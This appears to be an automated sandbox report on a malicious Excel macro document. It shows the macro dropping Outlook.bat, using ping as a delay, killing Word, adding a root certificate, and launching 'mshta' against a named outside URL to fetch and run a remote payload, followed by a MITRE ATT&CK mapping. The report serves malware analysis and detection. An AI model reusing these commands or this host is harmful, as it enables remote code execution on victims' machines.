Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49178 version: TLS 1.2
Source: C:\Windows\System32\mshta.exeWindows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dllJump to behavior
Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior

System Summary

barindex
Document contains an embedded VBA macro with suspicious strings
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsOLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"Name: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsOLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_OpenName: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsOLE indicator, VBA macros: true
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsMetadefender: Detection: 27%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsReversingLabs: Detection: 41%
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................H................................z8...............................................8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................H...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.........wJ.... .yJ....................2.................wJ....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................H...............c.a.l.l........./................................$uJ............/...............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................D............... .g.e.t.C.m.d.P.i.d...b.a.t. ...................c.a.l.l...........8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................D...............................i.d...b.........................c.a.l.l...........8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ..................uJ....................................@cyJ..... ......P.............../..v....................................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................H................................z8...............................................8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................H...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.........wJ.... .yJ....................2.................wJ....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................D...............s.e.t.........../................................$uJ............/...............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................D............... .P.I.D.=.1. ...................................s.e.t.............8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................H...............................................................s.e.t.............8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................H.................................<...............................................8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................8............... .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. .................H.......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................8...............................o.d.e...........................m.o.d.e...........8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ..................uJ....................................@cyJ..... ......P.............../..v....................................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................8................................z8...............................................8.............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................8...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.........wJ.... .yJ....................2.................wJ....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................8...............c.d............./................................$uJ............/...............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................8............... .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. ...............c.d...............8.....................".......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................8...............................s.\.P.u.........................c.d...............8.............................................Jump to behavior
Source: C:\Windows\System32\taskkill.exeConsole Write: ................X...............................d1K.....................................d...............e...............X.......B.........6.....Jump to behavior
Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;WINWORD.EXE&quot;)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR56B7.tmpJump to behavior
Source: classification engineClassification label: mal92.troj.expl.evad.winXLS@11/87@4/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: C:\Windows\System32\mshta.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\taskkill.exe TID: 1288Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2496Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\mshta.exeMemory protected: page read and write | page guardJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts1
Windows Management Instrumentation		Path Interception11
Process Injection		1
Masquerading		1
Input Capture		1
Virtualization/Sandbox Evasion		Remote Services1
Email Collection		Exfiltration Over Other Network Medium1
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts1
Command and Scripting Interpreter		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Modify Registry		LSASS Memory11
Remote System Discovery		Remote Desktop Protocol1
Input Capture		Exfiltration Over Bluetooth4
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain Accounts121
Scripting		Logon Script (Windows)Logon Script (Windows)1
Virtualization/Sandbox Evasion		Security Account Manager1
System Network Configuration Discovery		SMB/Windows Admin Shares1
Clipboard Data		Automated Exfiltration3
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local Accounts23
Exploitation for Client Execution		Logon Script (Mac)Logon Script (Mac)11
Disable or Modify Tools		NTDS1
File and Directory Discovery		Distributed Component Object ModelInput CaptureScheduled Transfer14
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
Process Injection		LSA Secrets14
System Information Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.common121
Scripting		Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.